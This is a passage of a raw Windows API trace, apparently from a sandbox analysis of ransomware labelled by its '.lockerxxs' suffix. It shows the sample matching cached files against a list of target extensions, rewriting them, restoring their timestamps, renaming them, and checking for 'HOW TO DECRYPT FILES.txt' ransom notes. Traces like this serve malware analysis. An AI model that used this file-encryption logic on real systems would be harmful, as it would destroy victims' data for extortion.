Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg." [0084.491] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.lockerxxs" [0084.491] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.492] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2676 [0084.492] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45478670, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45478670, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45478670, dwHighDateTime=0x1d2faf3)) returned 1 [0084.492] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.492] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2650, lpOverlapped=0x0) returned 1 [0084.494] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg") returned="BBEfwtU[1].jpg" [0084.494] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.494] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2650, lpOverlapped=0x0) returned 1 [0084.494] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.494] CloseHandle (hObject=0xa4) returned 1 [0084.494] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg.lockerxxs")) returned 1 [0084.495] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45856a30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45856a30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45856a30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xb41, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfY4X[1].jpg", cAlternateFileName="BBEFY4~1.JPG")) returned 1 [0084.495] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfY4X[1].jpg") returned 1 [0084.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfY4X[1].jpg") returned 1 [0084.495] lstrcmpiA (lpString1="", lpString2="BBEfY4X[1].jpg") returned -1 [0084.495] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg") returned="BBEfwtU[1].jpg" [0084.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.495] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.495] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.495] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.496] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfY4X[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.ems") returned 0 [0084.496] lstrlenA (lpString="*.ems") returned 5 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.db") returned 0 [0084.496] lstrlenA (lpString="*.db") returned 4 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.dbf") returned 0 [0084.496] lstrlenA (lpString="*.dbf") returned 5 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.myox") returned 0 [0084.496] lstrlenA (lpString="*.myox") returned 6 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.myo") returned 0 [0084.496] lstrlenA (lpString="*.myo") returned 5 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qbw") returned 0 [0084.496] lstrlenA (lpString="*.qbw") returned 5 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qbb") returned 0 [0084.496] lstrlenA (lpString="*.qbb") returned 5 [0084.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qbm") returned 0 [0084.496] lstrlenA (lpString="*.qbm") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qbo") returned 0 [0084.497] lstrlenA (lpString="*.qbo") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qbx") returned 0 [0084.497] lstrlenA (lpString="*.qbx") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qba") returned 0 [0084.497] lstrlenA (lpString="*.qba") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qby") returned 0 [0084.497] lstrlenA (lpString="*.qby") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qbj") returned 0 [0084.497] lstrlenA (lpString="*.qbj") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.ofx") returned 0 [0084.497] lstrlenA (lpString="*.ofx") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.qif") returned 0 [0084.497] lstrlenA (lpString="*.qif") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.mye") returned 0 [0084.497] lstrlenA (lpString="*.mye") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.mbox") returned 0 [0084.497] lstrlenA (lpString="*.mbox") returned 6 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.eml") returned 0 [0084.497] lstrlenA (lpString="*.eml") returned 5 [0084.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.pst") returned 0 [0084.498] lstrlenA (lpString="*.pst") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.ost") returned 0 [0084.498] lstrlenA (lpString="*.ost") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.idx") returned 0 [0084.498] lstrlenA (lpString="*.idx") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.dbx") returned 0 [0084.498] lstrlenA (lpString="*.dbx") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.sql") returned 0 [0084.498] lstrlenA (lpString="*.sql") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.mdb") returned 0 [0084.498] lstrlenA (lpString="*.mdb") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.fdb") returned 0 [0084.498] lstrlenA (lpString="*.fdb") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.wab") returned 0 [0084.498] lstrlenA (lpString="*.wab") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.dat") returned 0 [0084.498] lstrlenA (lpString="*.dat") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.txt") returned 0 [0084.498] lstrlenA (lpString="*.txt") returned 5 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.jpeg") returned 0 [0084.498] lstrlenA (lpString="*.jpeg") returned 6 [0084.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", pszSpec="*.jpg") returned 1 [0084.498] lstrlenA (lpString="*.jpg") returned 5 [0084.498] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" [0084.498] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" [0084.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg." [0084.499] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.lockerxxs" [0084.499] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.499] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb41 [0084.499] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45856a30, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45856a30, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45856a30, dwHighDateTime=0x1d2faf3)) returned 1 [0084.499] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.500] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb1b, lpOverlapped=0x0) returned 1 [0084.502] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg") returned="BBEfY4X[1].jpg" [0084.502] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.502] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb1b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb1b, lpOverlapped=0x0) returned 1 [0084.502] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.502] CloseHandle (hObject=0xa4) returned 1 [0084.503] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg.lockerxxs")) returned 1 [0084.504] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45725f30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x25f6, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgD9f[1].jpg", cAlternateFileName="BBEGD9~1.JPG")) returned 1 [0084.504] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.504] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgD9f[1].jpg") returned 1 [0084.504] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgD9f[1].jpg") returned 1 [0084.504] lstrcmpiA (lpString1="", lpString2="BBEgD9f[1].jpg") returned -1 [0084.504] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg") returned="BBEfY4X[1].jpg" [0084.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.504] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.504] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.504] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.504] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEgD9f[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" [0084.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.ems") returned 0 [0084.504] lstrlenA (lpString="*.ems") returned 5 [0084.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.db") returned 0 [0084.504] lstrlenA (lpString="*.db") returned 4 [0084.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.dbf") returned 0 [0084.504] lstrlenA (lpString="*.dbf") returned 5 [0084.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.myox") returned 0 